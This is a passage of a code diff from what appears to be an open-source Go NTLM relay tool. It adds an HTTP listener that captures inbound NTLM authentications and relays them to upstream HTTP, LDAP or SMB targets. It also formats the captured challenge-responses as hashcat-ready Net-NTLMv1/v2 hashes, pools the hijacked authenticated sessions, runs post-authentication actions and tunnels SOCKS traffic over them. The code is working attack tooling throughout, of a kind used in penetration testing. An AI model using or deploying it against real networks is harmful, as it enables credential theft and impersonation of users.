return newSMBForwarder(t, cfg.UpstreamOptions, logger)
|
||||
case ProtoHTTP, ProtoHTTPS:
|
||||
return newHTTPForwarder(t, cfg.UpstreamDialTimeout, cfg.UpstreamHTTPSTLSConfig, logger), nil
|
||||
case ProtoLDAP, ProtoLDAPS:
|
||||
return newLDAPForwarder(t, cfg.UpstreamDialTimeout, cfg.UpstreamLDAPSTLSConfig, cfg.DisableLDAPStartTLS, logger), nil
|
||||
}
|
||||
return nil, fmt.Errorf("unsupported protocol %q", t.Protocol)
|
||||
}
|
||||
@@ -0,0 +1,349 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/encoder"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// httpUpstream wraps a single TCP/TLS connection on which NTLM authentication
|
||||
// has been completed against an upstream HTTP target. Per RFC 4559 §5 the
|
||||
// connection-oriented NTLM state lives on the underlying socket; subsequent
|
||||
// HTTP requests issued on the same socket inherit the authenticated identity.
|
||||
//
|
||||
// Concurrent requests on the same upstream are serialized via mu; HTTP/1.1
|
||||
// keepalive is one-at-a-time anyway.
|
||||
type httpUpstream struct {
|
||||
Target Target
|
||||
|
||||
mu sync.Mutex
|
||||
conn net.Conn
|
||||
reader *bufio.Reader
|
||||
closed bool
|
||||
}
|
||||
|
||||
// newHTTPUpstream dials the upstream target. TLS is negotiated when
|
||||
// Target.TLS is true. The caller is responsible for either driving NTLM via
|
||||
// httpForwarder or using the upstream raw.
|
||||
func newHTTPUpstream(target Target, dialTimeout time.Duration, tlsConfig *tls.Config) (*httpUpstream, error) {
|
||||
if dialTimeout <= 0 {
|
||||
dialTimeout = 10 * time.Second
|
||||
}
|
||||
d := &net.Dialer{Timeout: dialTimeout}
|
||||
c, err := d.Dial("tcp", target.Host)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dial %s: %w", target.Host, err)
|
||||
}
|
||||
if target.TLS {
|
||||
cfg := tlsConfig
|
||||
if cfg == nil {
|
||||
host, _, _ := net.SplitHostPort(target.Host)
|
||||
cfg = &tls.Config{ServerName: host, InsecureSkipVerify: true}
|
||||
}
|
||||
tc := tls.Client(c, cfg)
|
||||
if err := tc.Handshake(); err != nil {
|
||||
c.Close()
|
||||
return nil, fmt.Errorf("TLS handshake %s: %w", target.Host, err)
|
||||
}
|
||||
c = tc
|
||||
}
|
||||
return &httpUpstream{
|
||||
Target: target,
|
||||
conn: c,
|
||||
reader: bufio.NewReader(c),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Close tears down the pinned upstream socket. Idempotent.
|
||||
func (u *httpUpstream) Close() error {
|
||||
u.mu.Lock()
|
||||
defer u.mu.Unlock()
|
||||
if u.closed {
|
||||
return nil
|
||||
}
|
||||
u.closed = true
|
||||
return u.conn.Close()
|
||||
}
|
||||
|
||||
// IsClosed reports whether Close has been called.
|
||||
func (u *httpUpstream) IsClosed() bool {
|
||||
u.mu.Lock()
|
||||
defer u.mu.Unlock()
|
||||
return u.closed
|
||||
}
|
||||
|
||||
// Lock / Unlock expose the upstream's serialization mutex so SOCKS-side
|
||||
// passthroughs can hold it across a request/response round-trip.
|
||||
func (u *httpUpstream) Lock() { u.mu.Lock() }
|
||||
func (u *httpUpstream) Unlock() { u.mu.Unlock() }
|
||||
|
||||
// writeAndRead writes the supplied raw HTTP/1.1 request bytes and reads one
|
||||
// HTTP response. Caller must hold u.mu (via Lock/Unlock or by calling from a
|
||||
// path that already owns the mutex).
|
||||
func (u *httpUpstream) writeAndRead(req []byte) (*http.Response, error) {
|
||||
if u.closed {
|
||||
return nil, fmt.Errorf("upstream closed")
|
||||
}
|
||||
if _, err := u.conn.Write(req); err != nil {
|
||||
return nil, fmt.Errorf("write request: %w", err)
|
||||
}
|
||||
resp, err := http.ReadResponse(u.reader, nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read response: %w", err)
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// httpForwarder drives an upstream NTLM-over-HTTP exchange. One forwarder is
|
||||
// used per inbound authenticating HTTP client (i.e. per inbound TCP
|
||||
// connection that begins an NTLM handshake).
|
||||
type httpForwarder struct {
|
||||
target Target
|
||||
logger server.Logger
|
||||
dialer func(target Target) (*httpUpstream, error)
|
||||
timeout time.Duration
|
||||
|
||||
upstream *httpUpstream
|
||||
serverChallenge [8]byte
|
||||
}
|
||||
|
||||
func newHTTPForwarder(target Target, timeout time.Duration, tlsConfig *tls.Config, logger server.Logger) *httpForwarder {
|
||||
return &httpForwarder{
|
||||
target: target,
|
||||
logger: logger,
|
||||
timeout: timeout,
|
||||
dialer: func(t Target) (*httpUpstream, error) {
|
||||
return newHTTPUpstream(t, timeout, tlsConfig)
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// Target satisfies the Forwarder interface.
|
||||
func (f *httpForwarder) Target() Target { return f.target }
|
||||
|
||||
// Negotiate dials the upstream, sends a GET carrying the inbound NTLMSSP
|
||||
// NEGOTIATE in an Authorization: NTLM header, and returns the upstream's raw
|
||||
// NTLMSSP CHALLENGE (decoded from its WWW-Authenticate response). The input
|
||||
// is the raw NTLMSSP NEGOTIATE bytes (no base64, no SPNEGO wrap).
|
||||
func (f *httpForwarder) Negotiate(negotiate []byte) ([]byte, error) {
|
||||
if f.upstream != nil {
|
||||
return nil, fmt.Errorf("negotiate called twice")
|
||||
}
|
||||
if len(negotiate) < 8 || string(negotiate[:7]) != "NTLMSSP" {
|
||||
return nil, fmt.Errorf("negotiate: not an NTLMSSP message")
|
||||
}
|
||||
up, err := f.dialer(f.target)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
up.Lock()
|
||||
defer up.Unlock()
|
||||
|
||||
req := buildHTTPNTLMRequest(f.target, "GET", negotiate)
|
||||
resp, err := up.writeAndRead(req)
|
||||
if err != nil {
|
||||
up.Close()
|
||||
return nil, fmt.Errorf("upstream NEGOTIATE: %w", err)
|
||||
}
|
||||
// Drain any body so the next request can reuse the pinned socket.
|
||||
_, _ = io.Copy(io.Discard, resp.Body)
|
||||
resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusUnauthorized {
|
||||
up.Close()
|
||||
return nil, fmt.Errorf("upstream did not challenge (status=%d)", resp.StatusCode)
|
||||
}
|
||||
chBytes, err := extractNTLMAuth(resp.Header.Values("WWW-Authenticate"))
|
||||
if err != nil {
|
||||
up.Close()
|
||||
return nil, fmt.Errorf("parse WWW-Authenticate: %w", err)
|
||||
}
|
||||
chall := ntlmssp.NewChallenge()
|
||||
if err := encoder.Unmarshal(chBytes, &chall); err == nil {
|
||||
var b [8]byte
|
||||
for i := 0; i < 8; i++ {
|
||||
b[i] = byte(chall.ServerChallenge >> (8 * i))
|
||||
}
|
||||
f.serverChallenge = b
|
||||
} else if f.logger != nil {
|
||||
f.logger.Debugf("decode upstream CHALLENGE: %v", err)
|
||||
}
|
||||
f.upstream = up
|
||||
return chBytes, nil
|
||||
}
|
||||
|
||||
// Authenticate forwards a raw NTLMSSP AUTHENTICATE token to the upstream over
|
||||
// the same pinned connection used for Negotiate. mic is ignored — NTLM over
|
||||
// HTTP carries no SPNEGO MIC. Returns the captured Credential and an NT-style
|
||||
// status: 0 on HTTP 2xx/3xx, smb.StatusLogonFailure on HTTP 4xx/5xx.
|
||||
func (f *httpForwarder) Authenticate(remote net.Addr, authenticate, mic []byte) (*Credential, uint32, error) {
|
||||
_ = mic // HTTP has no SPNEGO MIC.
|
||||
if f.upstream == nil {
|
||||
return nil, 0, fmt.Errorf("authenticate without prior Negotiate")
|
||||
}
|
||||
if len(authenticate) < 8 || string(authenticate[:7]) != "NTLMSSP" {
|
||||
return nil, 0, fmt.Errorf("authenticate: not an NTLMSSP message")
|
||||
}
|
||||
var auth ntlmssp.Authenticate
|
||||
if err := encoder.Unmarshal(authenticate, &auth); err != nil {
|
||||
return nil, 0, fmt.Errorf("decode AUTHENTICATE: %w", err)
|
||||
}
|
||||
cred := buildCredentialFromAuth(&auth, f.serverChallenge, remote)
|
||||
|
||||
f.upstream.Lock()
|
||||
defer f.upstream.Unlock()
|
||||
req := buildHTTPNTLMRequest(f.target, "GET", authenticate)
|
||||
resp, err := f.upstream.writeAndRead(req)
|
||||
if err != nil {
|
||||
return cred, 0, fmt.Errorf("upstream AUTHENTICATE: %w", err)
|
||||
}
|
||||
// Drain response body so the pinned socket is ready for the next request.
|
||||
if resp.Body != nil {
|
||||
_, _ = io.Copy(io.Discard, resp.Body)
|
||||
resp.Body.Close()
|
||||
}
|
||||
if resp.StatusCode >= 400 {
|
||||
return cred, smb.StatusLogonFailure, nil
|
||||
}
|
||||
return cred, smb.StatusOk, nil
|
||||
}
|
||||
|
||||
// Take returns the upstream and zeroes the field. Close is a no-op afterwards.
|
||||
func (f *httpForwarder) Take() *httpUpstream {
|
||||
up := f.upstream
|
||||
f.upstream = nil
|
||||
return up
|
||||
}
|
||||
|
||||
// Close tears down the upstream if still owned. Idempotent.
|
||||
func (f *httpForwarder) Close() {
|
||||
if f.upstream == nil {
|
||||
return
|
||||
}
|
||||
f.upstream.Close()
|
||||
f.upstream = nil
|
||||
}
|
||||
|
||||
// buildHTTPNTLMRequest assembles a minimal HTTP/1.1 request with an
|
||||
// Authorization: NTLM <base64> header. Connection: Keep-Alive is required so
|
||||
// the upstream doesn't reset the socket between NEGOTIATE and AUTHENTICATE.
|
||||
func buildHTTPNTLMRequest(target Target, method string, ntlmToken []byte) []byte {
|
||||
hostHdr, _, _ := net.SplitHostPort(target.Host)
|
||||
if hostHdr == "" {
|
||||
hostHdr = target.Host
|
||||
}
|
||||
host, port, _ := net.SplitHostPort(target.Host)
|
||||
defaultPort := "80"
|
||||
if target.TLS {
|
||||
defaultPort = "443"
|
||||
}
|
||||
if port != "" && port != defaultPort {
|
||||
hostHdr = host + ":" + port
|
||||
}
|
||||
path := target.Path
|
||||
if path == "" {
|
||||
path = "/"
|
||||
}
|
||||
b := &bytes.Buffer{}
|
||||
fmt.Fprintf(b, "%s %s HTTP/1.1\r\n", method, path)
|
||||
fmt.Fprintf(b, "Host: %s\r\n", hostHdr)
|
||||
fmt.Fprintf(b, "User-Agent: go-smb-relay/1.0\r\n")
|
||||
fmt.Fprintf(b, "Authorization: NTLM %s\r\n", base64.StdEncoding.EncodeToString(ntlmToken))
|
||||
fmt.Fprintf(b, "Accept: */*\r\n")
|
||||
fmt.Fprintf(b, "Connection: Keep-Alive\r\n")
|
||||
fmt.Fprintf(b, "Content-Length: 0\r\n")
|
||||
fmt.Fprintf(b, "\r\n")
|
||||
return b.Bytes()
|
||||
}
|
||||
|
||||
// extractNTLMAuth returns the raw NTLMSSP token bytes from a slice of
|
||||
// WWW-Authenticate or Authorization header values, accepting only the "NTLM"
|
||||
// scheme. Returns an error if no NTLM scheme is present or the base64 payload
|
||||
// is malformed.
|
||||
func extractNTLMAuth(values []string) ([]byte, error) {
|
||||
for _, v := range values {
|
||||
v = strings.TrimSpace(v)
|
||||
if v == "" {
|
||||
continue
|
||||
}
|
||||
// Header form: "NTLM <base64>". Bare "NTLM" with no payload is the
|
||||
// initial challenge prompt the server sends before the client has
|
||||
// presented a NEGOTIATE — caller handles that case separately.
|
||||
if len(v) < 4 || !strings.EqualFold(v[:4], "NTLM") {
|
||||
continue
|
||||
}
|
||||
rest := strings.TrimSpace(v[4:])
|
||||
if rest == "" {
|
||||
return nil, fmt.Errorf("NTLM header has empty payload")
|
||||
}
|
||||
decoded, err := base64.StdEncoding.DecodeString(rest)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("base64 decode: %w", err)
|
||||
}
|
||||
return decoded, nil
|
||||
}
|
||||
return nil, fmt.Errorf("no NTLM scheme in header values")
|
||||
}
|
||||
|
||||
// buildCredentialFromAuth assembles a Credential from a parsed NTLMSSP
|
||||
// Authenticate message and the server-side challenge that was used during the
|
||||
// upstream exchange. Mirrors server.BuildCredential but takes net.Addr instead
|
||||
// of *server.Conn so both forwarder backends share one code path.
|
||||
func buildCredentialFromAuth(auth *ntlmssp.Authenticate, chal [8]byte, remote net.Addr) *Credential {
|
||||
cred := &Credential{
|
||||
LM: auth.LmChallengeResponse,
|
||||
NT: auth.NtChallengeResponse,
|
||||
ServerChallenge: chal,
|
||||
RemoteAddr: remote,
|
||||
}
|
||||
cred.Username, _ = encoder.FromUnicodeString(auth.UserName)
|
||||
cred.Domain, _ = encoder.FromUnicodeString(auth.DomainName)
|
||||
cred.Workstation, _ = encoder.FromUnicodeString(auth.Workstation)
|
||||
if len(auth.NtChallengeResponse) > 24 {
|
||||
cred.Format = "Net-NTLMv2"
|
||||
cred.Hashcat = fmt.Sprintf("%s::%s:%x:%x:%x",
|
||||
cred.Username, cred.Domain, chal[:],
|
||||
auth.NtChallengeResponse[:16], auth.NtChallengeResponse[16:])
|
||||
} else if len(auth.NtChallengeResponse) == 24 {
|
||||
cred.Format = "Net-NTLMv1"
|
||||
cred.Hashcat = fmt.Sprintf("%s::%s:%x:%x:%x",
|
||||
cred.Username, cred.Domain,
|
||||
auth.LmChallengeResponse, auth.NtChallengeResponse, chal[:])
|
||||
}
|
||||
return cred
|
||||
}
|
||||
@@ -0,0 +1,278 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"sync"
|
||||
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// httpListenerState holds per-connection NTLM state on the inbound side. NTLM
|
||||
// over HTTP (RFC 4559 §5) is connection-oriented: the NEGOTIATE and the
|
||||
// AUTHENTICATE must traverse the same TCP connection so the server can
|
||||
// correlate them.
|
||||
type httpListenerState struct {
|
||||
forwarder Forwarder
|
||||
}
|
||||
|
||||
// httpListener is the inbound HTTP NTLM capture listener. Each accepted TCP
|
||||
// connection drives a per-conn NTLM exchange that is forwarded onto a target
|
||||
// chosen by the parent RelayServer.
|
||||
type httpListener struct {
|
||||
rs *RelayServer
|
||||
srv *http.Server
|
||||
ln net.Listener
|
||||
logger server.Logger
|
||||
stateMu sync.Mutex
|
||||
states map[net.Conn]*httpListenerState
|
||||
tlsConf *tls.Config
|
||||
}
|
||||
|
||||
// newHTTPListener constructs (but does not start) an inbound HTTP listener.
|
||||
// tlsConf, when non-nil, enables HTTPS on the inbound side.
|
||||
func newHTTPListener(rs *RelayServer, tlsConf *tls.Config) *httpListener {
|
||||
return &httpListener{
|
||||
rs: rs,
|
||||
logger: rs.logger(),
|
||||
states: map[net.Conn]*httpListenerState{},
|
||||
tlsConf: tlsConf,
|
||||
}
|
||||
}
|
||||
|
||||
// start binds the configured HTTP listen address and serves until Close.
|
||||
func (l *httpListener) start(addr string) error {
|
||||
if addr == "" {
|
||||
return fmt.Errorf("empty listen addr")
|
||||
}
|
||||
ln, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("listen %s: %w", addr, err)
|
||||
}
|
||||
l.ln = ln
|
||||
l.srv = &http.Server{
|
||||
Handler: http.HandlerFunc(l.handle),
|
||||
ConnContext: func(ctx context.Context, c net.Conn) context.Context {
|
||||
return context.WithValue(ctx, httpConnKey{}, c)
|
||||
},
|
||||
ConnState: l.onConnState,
|
||||
}
|
||||
go func() {
|
||||
var serveErr error
|
||||
if l.tlsConf != nil {
|
||||
l.srv.TLSConfig = l.tlsConf
|
||||
serveErr = l.srv.ServeTLS(ln, "", "")
|
||||
} else {
|
||||
serveErr = l.srv.Serve(ln)
|
||||
}
|
||||
if serveErr != nil && !errors.Is(serveErr, http.ErrServerClosed) {
|
||||
l.logger.Errorf("relay http serve on %s: %v", ln.Addr(), serveErr)
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *httpListener) close(ctx context.Context) error {
|
||||
if l.srv == nil {
|
||||
return nil
|
||||
}
|
||||
err := l.srv.Shutdown(ctx)
|
||||
l.stateMu.Lock()
|
||||
for c, st := range l.states {
|
||||
if st.forwarder != nil {
|
||||
st.forwarder.Close()
|
||||
}
|
||||
delete(l.states, c)
|
||||
}
|
||||
l.stateMu.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func (l *httpListener) addr() net.Addr {
|
||||
if l.ln == nil {
|
||||
return nil
|
||||
}
|
||||
return l.ln.Addr()
|
||||
}
|
||||
|
||||
type httpConnKey struct{}
|
||||
|
||||
func (l *httpListener) onConnState(c net.Conn, state http.ConnState) {
|
||||
if state != http.StateClosed && state != http.StateHijacked {
|
||||
return
|
||||
}
|
||||
l.stateMu.Lock()
|
||||
st, ok := l.states[c]
|
||||
delete(l.states, c)
|
||||
l.stateMu.Unlock()
|
||||
if ok && st != nil && st.forwarder != nil {
|
||||
st.forwarder.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// handle is the http.Handler for the inbound listener. It steps the
|
||||
// per-connection NTLM state machine and pools the resulting upstream after a
|
||||
// successful AUTHENTICATE.
|
||||
func (l *httpListener) handle(w http.ResponseWriter, r *http.Request) {
|
||||
cfg := &l.rs.Config
|
||||
c, _ := r.Context().Value(httpConnKey{}).(net.Conn)
|
||||
|
||||
auth := r.Header.Get("Authorization")
|
||||
if auth == "" {
|
||||
w.Header().Set("WWW-Authenticate", "NTLM")
|
||||
w.Header().Set("Connection", "Keep-Alive")
|
||||
w.Header().Set("Content-Length", "0")
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
token, err := extractNTLMAuth([]string{auth})
|
||||
if err != nil {
|
||||
l.logger.Debugf("bad Authorization header from %s: %v", r.RemoteAddr, err)
|
||||
http.Error(w, "Bad Authorization", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if len(token) < 12 || string(token[:7]) != "NTLMSSP" {
|
||||
http.Error(w, "Bad NTLMSSP payload", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
// All NTLM message types we handle need the underlying net.Conn (to
|
||||
// identify the source for target selection and to key per-conn NTLM
|
||||
// state). The ConnContext hook always installs it; a nil here means an
|
||||
// http.Server misconfiguration, not a malformed request.
|
||||
if c == nil {
|
||||
l.logger.Errorf("missing conn context for %s", r.RemoteAddr)
|
||||
http.Error(w, "internal", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
switch token[8] {
|
||||
case 0x01: // NEGOTIATE
|
||||
target, ok := l.pickTarget(c.RemoteAddr())
|
||||
if !ok {
|
||||
l.rs.notifyFailure("", fmt.Errorf("no targets configured"))
|
||||
http.Error(w, "no targets", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
fwd, err := newForwarderFor(target, cfg, l.logger)
|
||||
if err != nil {
|
||||
l.rs.notifyFailure(target.String(), err)
|
||||
http.Error(w, "no forwarder", http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
chBytes, err := fwd.Negotiate(token)
|
||||
if err != nil {
|
||||
fwd.Close()
|
||||
l.rs.notifyFailure(target.String(), err)
|
||||
http.Error(w, "upstream error", http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
l.stateMu.Lock()
|
||||
if prev := l.states[c]; prev != nil && prev.forwarder != nil {
|
||||
prev.forwarder.Close()
|
||||
}
|
||||
l.states[c] = &httpListenerState{forwarder: fwd}
|
||||
l.stateMu.Unlock()
|
||||
w.Header().Set("WWW-Authenticate", "NTLM "+base64.StdEncoding.EncodeToString(chBytes))
|
||||
w.Header().Set("Connection", "Keep-Alive")
|
||||
w.Header().Set("Content-Length", "0")
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
|
||||
case 0x03: // AUTHENTICATE
|
||||
l.stateMu.Lock()
|
||||
st := l.states[c]
|
||||
delete(l.states, c)
|
||||
l.stateMu.Unlock()
|
||||
if st == nil || st.forwarder == nil {
|
||||
l.logger.Debugf("AUTHENTICATE without prior NEGOTIATE on %s", r.RemoteAddr)
|
||||
http.Error(w, "missing NEGOTIATE", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
fwd := st.forwarder
|
||||
cred, upstreamStatus, err := fwd.Authenticate(c.RemoteAddr(), token, nil)
|
||||
var slot *captureSlot
|
||||
if cred != nil {
|
||||
if cb := cfg.OnCredentialCaptured; cb != nil {
|
||||
cb(nil, cred)
|
||||
}
|
||||
slot = l.rs.captureRecord(cred, fwd.Target().String())
|
||||
}
|
||||
if err != nil {
|
||||
fwd.Close()
|
||||
slot.finalize(CaptureStatusRelayFailed)
|
||||
l.rs.notifyFailure(fwd.Target().String(), err)
|
||||
http.Error(w, "upstream error", http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
if upstreamStatus != smb.StatusOk {
|
||||
fwd.Close()
|
||||
slot.finalize(CaptureStatusUpstreamRejected)
|
||||
l.rs.notifyFailure(fwd.Target().String(), fmt.Errorf("upstream rejected (status=0x%08x)", upstreamStatus))
|
||||
w.Header().Set("Content-Length", "0")
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
ps := l.rs.poolFromForwarder(fwd, cred)
|
||||
l.rs.pool.Add(ps)
|
||||
l.rs.markUsed(fwd.Target().Host, ps.Established)
|
||||
slot.finalize(CaptureStatusRelayed)
|
||||
l.logger.Noticef("%s -> %s (%s)", credLabel(cred), fwd.Target().String(), cred.Format)
|
||||
if cb := cfg.OnRelaySuccess; cb != nil {
|
||||
cb(fwd.Target().String(), ps.Conn, cred)
|
||||
}
|
||||
if ps.Conn != nil && len(cfg.PostAuthActions) > 0 {
|
||||
l.rs.wg.Add(1)
|
||||
go l.rs.runActions(ps)
|
||||
}
|
||||
w.Header().Set("Content-Length", "0")
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
|
||||
default:
|
||||
http.Error(w, "Bad NTLM message type", http.StatusBadRequest)
|
||||
}
|
||||
}
|
||||
|
||||
// pickTarget returns one target candidate for an HTTP-inbound auth. The HTTP
|
||||
// listener can relay onto any protocol, so the full parsed Targets list is
|
||||
// passed to SelectTarget; restricting candidates is the caller's choice.
|
||||
func (l *httpListener) pickTarget(remote net.Addr) (Target, bool) {
|
||||
targets := l.rs.snapshotTargets()
|
||||
if len(targets) == 0 {
|
||||
return Target{}, false
|
||||
}
|
||||
l.rs.mu.Lock()
|
||||
lastUsed := l.rs.lastUsed
|
||||
l.rs.mu.Unlock()
|
||||
t := (*l.rs.selectTarget.Load())(targets, remote, lastUsed)
|
||||
if t.Host == "" {
|
||||
return Target{}, false
|
||||
}
|
||||
return t, true
|
||||
}
|
||||
|
||||
@@ -0,0 +1,228 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// HTTPPassthrough handles a SOCKS-fronted HTTP conversation by raw-forwarding
|
||||
// each request over the pooled upstream HTTP connection. The pinned upstream
|
||||
// socket carries the NTLM-authenticated identity (per RFC 4559 §5), so the
|
||||
// SOCKS-side client never sees the auth handshake — it just issues plain
|
||||
// HTTP/1.1 requests and we forward them.
|
||||
//
|
||||
// The Authorization header (if any) is stripped from the inbound request so
|
||||
// the SOCKS client cannot break the upstream's NTLM context.
|
||||
type HTTPPassthrough struct {
|
||||
Local net.Conn
|
||||
Target string // upstream "host:port"
|
||||
Upstream *pooledSession
|
||||
Resolve func(target string) *pooledSession
|
||||
Logger server.Logger
|
||||
}
|
||||
|
||||
// Run reads HTTP/1.1 requests from Local in a loop and forwards each over the
|
||||
// pinned upstream connection. Returns when Local closes (clean EOF) or on
|
||||
// transport error.
|
||||
func (p *HTTPPassthrough) Run(ctx context.Context) error {
|
||||
if p.Logger == nil {
|
||||
p.Logger = log
|
||||
}
|
||||
if p.Upstream == nil && p.Resolve != nil {
|
||||
p.Upstream = p.Resolve(p.Target)
|
||||
}
|
||||
if p.Upstream == nil || p.Upstream.HTTP == nil {
|
||||
return p.writeBadGatewayAndClose("no pooled HTTP session for " + p.Target)
|
||||
}
|
||||
|
||||
reader := bufio.NewReader(p.Local)
|
||||
for {
|
||||
req, err := http.ReadRequest(reader)
|
||||
if err != nil {
|
||||
if errors.Is(err, io.EOF) || errors.Is(err, net.ErrClosed) {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("read inbound HTTP request: %w", err)
|
||||
}
|
||||
|
||||
// Don't let the SOCKS-side client inject its own Authorization. The
|
||||
// upstream NTLM context lives on the pinned socket and would be
|
||||
// confused by a fresh NTLM token mid-stream.
|
||||
req.Header.Del("Authorization")
|
||||
req.Header.Del("Proxy-Authorization")
|
||||
// We pin one upstream socket — never close it from the SOCKS side.
|
||||
req.Header.Set("Connection", "Keep-Alive")
|
||||
req.Header.Del("Proxy-Connection")
|
||||
// Replace the Host header with the upstream's host so the upstream
|
||||
// routes the request correctly (the SOCKS client may have used a
|
||||
// different name).
|
||||
req.Host = upstreamHostHeader(p.Target, p.Upstream.HTTP.Target.TLS)
|
||||
|
||||
// Drain the body into memory if any (we need to know its length to
|
||||
// emit Content-Length, and to release the bufio reader to the
|
||||
// passthrough loop).
|
||||
var body []byte
|
||||
if req.ContentLength != 0 && req.Body != nil {
|
||||
body, err = io.ReadAll(req.Body)
|
||||
_ = req.Body.Close()
|
||||
if err != nil {
|
||||
return fmt.Errorf("read inbound body: %w", err)
|
||||
}
|
